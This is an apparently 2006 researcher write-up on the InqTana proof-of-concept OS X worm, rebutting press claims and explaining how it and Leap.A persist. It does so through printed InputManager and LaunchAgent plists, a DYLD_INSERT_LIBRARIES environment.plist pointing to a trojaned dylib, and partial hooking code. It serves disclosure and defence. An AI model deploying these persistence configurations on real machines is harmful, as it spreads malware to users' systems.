InqTana Through the eyes of Dr. Frankenstein.
Thanks to those folks that helped edit this.
InqTana Through the eyes of Dr. Frankenstein.
kf_lists[at]digitalmunition[dot]com
This sole intent of this paper is to address both FUD and Rumors surrounding
the release of detailed information about
the InqTana proof of concept worm. After reading internet based news over the
past few days I have certainly seen my
fair share of 'spin' and misconception regarding the results of my research.
Some of my favorite comments are listed here:
-"Until Symantec tells people exactly what it does and where it came from I'm
calling this salesmanship."
-"Probably just a lame variation on the Leap.A fiasco"
-"This may be nothing more than a copycat reaction to a new threat that
received a great deal of media attention"
-"The OSX/Inqtana.A requires the user to accept 3 separate Bluetooth file
transfers"
-"No system can be infected without multiple decisions on the part of the user."
-"...in order to become infected with this proof-of-concept, the user must
accept not one, not two, but three PUSH requests."
-"...there are no mechanisms in the OS for silent and automatic infection."
-"...Anyway, I don't think it would be very successful. How many Macs are
routinely around other Macs with bluetooth on?"
-"Mac OS X 10.4 (Tiger) users are still advised to make sure they're patched up
in order to guard against attack"
Most of these statements are slightly humorous to say the least. This worm
quite honestly has nothing to do with any
Anti-Virus company. The concept of worming the vulnerability that I originally
disclosed to apple was one of the first
thoughts on my mind when I found the bug. Unfortunately I had a limited amount
of time to really research the full potential
of the bug I had discovered. The main reason that the length of time between
the patch and the worm was so great has nothing
to do with an AV company marketing ploy. I simply have other things going on in
my life, writing a worm was just not on the
top of my list. Beyond simple technical issues I found it difficult to
communicate with any AV company beyond Symantec about
my concerns.
The fact that both Leap.A and InqTana.A were released back to back was also
purely coincidental, Symantec, Sophos, F-secure
and all the other companies that various folks have accused of planting these
PoC worms had absolutely NOTHING to do with
InqTana. Aside from a similar release date InqTana.A itself has absolutely
nothing to do with Leap.A. My work was done
completely independent of the author of Leap. The day after I sent out queries
to the AV companies about my code I was shocked
to see another OSX worm had already been in the news. While my worm sat in the
mail spools of several AV companies they were
busy writing about the "First Trojan/Worm for OSX".
With regard to the incorrect data being provided about the exploit portion of
the worm I must simply tell the reporters out
there to DO YOUR HOMEWORK FIRST, then write your articles. The Bluetooth
vulnerability was first disclosed in DMA[2005-0502a]
and in a follow-up titled Bluetooth_dot_dot.txt. The data was released in May
of 2005 after apple had patched the issue in
10.3. Tiger aka 10.4 was released shortly after the patches were made
available, however it was shipped in a vulnerable state.
APPLE-SA-2005-05-03 and APPLE-SA-2005-06-08 fully address the issue with the
Apple Bluetooth stack. The bottom line is that
BOTH 10.4 and 10.3 are vulnerable. http://www.securityfocus.com/bid/13491
contains full details surrounding the issue. One
thing I cannot stress enough is that I chose to make this worm prompt the user
for interaction... it is NOT a required
function. My intent was to prove a concept not create a functional worm
however.
Putting all of that aside I think most people missed the point of this worm and
its variants. The main focus was not on the
usage of Bluetooth for the exploit medium, or the vulnerability used. The focus
should have been on the usage of built in OSX
facilities to spread malicious code. OSX contains features, which will
certainly aid in the future of malware on OSX.
Although little detail was provided on exactly how Leap.A hooked the functions
of iChat it is very likely that MethodSwizzling [1]
was used. The Objective-C runtime effectively allows you to "patch" methods in
code you don't have the source to. Rather than
completely replacing the original method, MethodSwizzling lets your method make
use of the original, almost like subclassing.
Once you combine this ability with an InputManager [2] in bundle form [3] you
wind up with a recipe for instant malware. Even
though InputManagers in bundle form can have legit [4] uses it is highly likely
that this facility will become a common malware
vector. This method seems to be portable across both 10.4 and 10.3.
Leap.A chose to drop an InputManager named "apphook" into ~/Library.
k-fs-ibook:~/Library/InputManagers kf$ ls
Info apphook.bundle
The LoadBundleOnLaunch property was set to ensure that the bundle would load
with every application that launches.
k-fs-ibook:~/Library/InputManagers kf$ cat Info
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd";>
<plist version="1.0">
<dict>
<key>BundleName</key>
<string>apphook.bundle</string>
<key>LoadBundleOnLaunch</key>
<string>YES</string>
<key>NoMenuEntry</key>
<string>YES</string>
</dict>
</plist>
The actual binary of the malicious bundle can be found in the Contents/MacOS
folder.
k-fs-ibook:~/Library/InputManagers kf$ file
apphook.bundle/Contents/MacOS/apphook
apphook.bundle/Contents/MacOS/apphook: Mach-O bundle ppc
Because the strings "com.apple.iChat" and "com.apple.mail" were found in data
from the actual bundle we assume that malware will
attempt to hook both iChat and apple Mail. Most likely the author attempted to
isolate which programs his code hooked via a
snippet of code similar to the following:
//Look if we are running in iChat
if(![[NSBundle mainBundle] bundleIdentifier] isEualTo:@"com.apple.iChat:])
{
return; // Not iChat -> Do Nothing (borrowed from SubEthaFari)
}
At this point the author goes on to hook into the methods used for sending
outbound messages in an attempt to continue spreading
itself.
MethodSwizzling is not the only malware vector in the arsenal of future OSX
malware authors. During the development of the code
dubbed 'InqTana' I developed and made use of 3 seperate techniques to deploy
and distribute a payload. Several facilities exist
within the OSX operating system that will help facilitate the spread of
malware. I will outline each of the techniques that my
InqTana variants seek to demonstrate.
During early attempts to create an environment in which an OSX worm could be
sustained I failed repeatedly to find a suitable vector
which would allow an attacker to run code. With the arrival of OSX 10.4
however, I quickly noted how convienent the new Launchd [5]
facility was. You honestly could not ask for a much simpler method for code
execution. Simply drop a properly formatted file in the
correct directory and you are good to go.
k-fs-ibook:~/Library/LaunchAgents kf$ ls
com.openbundle.plist com.pwned.plist
InqTana.A used com.openbundle.plist to unpack the payload of the main worm
shortly before running it via com.pwned.plist.
k-fs-ibook:~/Library/LaunchAgents kf$ cat com.openbundle.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd";>
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.openbundle</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/tar</string>
<string>-Pzxvf</string>
<string>/Users/w0rm-support.tgz</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Because launchd did not exist in 10.3 this will only work on 10.4 machines.
Following the arrival of the Leap.A worm I toyed with the idea of hooking one
of the programs that starts when a normal user logs
into the OSX GUI. After cornering a few particular applications I decided that
too much was involved in selecting a method to mutate
for worm distribution purposes. Rather than taking a granular approach, I
decided it would be easier to hook the '- init' function
that is called when all bundles are loaded.
The same general technique that Leap.A is used however the bundle payload is
slightly modified.
k-fs-ibook:~/Library/InputManagers/InqTanaHandler kf$ ls
Info InqTanaHandler.bundle
As we can see from the source code hooking the module init is quite easy.
k-fs-ibook:/Users/Users/InqTanaHandler kf$ cat InqTanaHandler.m
//
// InqTanaHandler.m
// InqTanaHandler
//
// Created by Kevin Finisterre on 2/19/06.
// Copyright 2006 __MyCompanyName__. All rights reserved.
//
#import "InqTanaHandler.h"
#import </usr/include/objc/objc-class.h>
@implementation InqTanaHandler
- init
{
if (self=[super init])
{
int x = open("/tmp/w0rms.love.apples", O_RDWR);
...
Lots of care must be in mind when hooking the system in this manor. One bad
move can make for some nasty results.
The final method I am going to discuss involves a 'relic left over from
OpenStep/NextStep' [6]. OSX provides a facility by which
users have the ability to set specific environment variables for all processes
that they launch. Coincidentally this method can also
be used to potentially spread malware.
~/.MacOSX/environment.plist can be used to specify variables that may influence
the behavior of dyld [7]. By setting the
DYLD_INSERT_LIBRARIES variable we are able to force all applications to run our
payload. Unfortunately in versions of OSX
below 10.4 dyld appears to be TOO lazy to run a trojaned .dylib file.
k-fs-ibook:~/Library kf$ cd ~/.MacOSX/
k-fs-ibook:~/.MacOSX kf$ cat environment.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist SYSTEM
"file://localhost/System/Library/DTDs/PropertyList.dtd">
<plist version="0.9">
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/pwned.dylib</string>
</dict>
</plist>
Using methods outlined in Apple's Dynamic Library Design Guidelines [8] we can
make use of either a malicious Initializer
or Finalizer to spread malware.
k-fs-ibook:/Users/Users kf$ cat pwned.c
// gcc -dynamiclib pwned.c -o pwned.dylib
#include <stdio.h>
#include <sys/fcntl.h>
#include <pwd.h>
#include <sys/types.h>
#include <stdio.h>
extern char * argv;
__attribute__((constructor))
static void w0rmy()
{
chmod("/tmp/w0rms.love.apples", 0777);
Because programs that are initially launched when a user logs in seem to be run
from '/' the dyld appears to also want our trojaned
.dylib to reside in '/'. Be careful here... you can break your box if you get
this wrong.
k-fs-ibook:~/Library/Logs/CrashReporter/ kf$ cat iTunesHelper.crash.log
**********
Host Name: k-fs-ibook
Date/Time: 2006-02-20 11:48:33.250 -0500
OS Version: 10.4 (Build 8A428)
Report Version: 3
Command: iTunesHelper
Path:
/Applications/iTunes.app/Contents/Resources/iTunesHelper.app/Contents/MacOS/iTunesHelper
Parent: WindowServer [629]
Version: 4.7.1 (4.7.1)
PID: 661
Thread: Unknown
Link (dyld) error:
could not load inserted library: "pwned.dylib"
Moving pwned.dylib to / corrected the above behavior which results in a
completely unusable user account otherwise. Once again because
all of the programs that a user runs will attempt to run this code, special
care needs to be taken to make sure the payload is not
stepping on itself.
Because samples of these variants have been sent to most major anti-virus
companies attacks that are similar in nature should be
quarantined in the future. Further OS level permissions changes can help
mitigate the risks associated with the various facilities
that OSX provides by default.
The four techniques above provide obvious vectors for current malware writers
to abuse OSX. Some things obviously need to be changed
with regard to access to the facilities these techniques take advantage of. Now
is the time to be diligent and to discover and augment
similar behavior. OSX is NOT immune to worms and virii.... don't kid yourself.
In closing I would like to once again state that the InqTana code was designed
to run in a controlled environment limited to 3
bluetooth devices. 11:22:33:44:55:66, 33:33:33:44:44:44, and 44:44:44:55:55:55.
In the event that the code were to somehow spread
beyond the initial test environment several other factors limit its ability to
actually spread in the wild. The bluetooth library
that InqTana is based on is set to expire on 02/25/06. In addition to the
expiration date the Exception handeler of InqTana is
intentionally crippled to halt upon any errors encountered by the code.
InqTana was manufactured specifically as proof of concept. The code was
distributed to both Apple and Anti-Virus companies in efforts
to identify and mitigate behavior that could be used in the future as a malware
vector on the OSX platform.
[1] http://www.cocoadev.com/index.pl?MethodSwizzling
[2]
http://developer.apple.com/documentation/Cocoa/Conceptual/InputManager/Tasks/InputServerDeployment.html
[3] http://fsb.mackb.net/bundle
[4] http://codingmonkeys.de/map/log/articles/2004/07/20/subethafari
[5] http://developer.apple.com/macosx/launchd.html
[6] http://developer.apple.com/qa/qa2001/qa1067.html
[7] http://developer.apple.com/releasenotes/DeveloperTools/dyld.html
[8]
http://devworld.apple.com/documentation/DeveloperTools/Conceptual/DynamicLibraries/Articles/DynamicLibraryDesignGuidelines.html
k-fs-ibook:~ kf$ /usr/bin/say "All, your bluetooth, and OSX,,, are belong,, to,
us"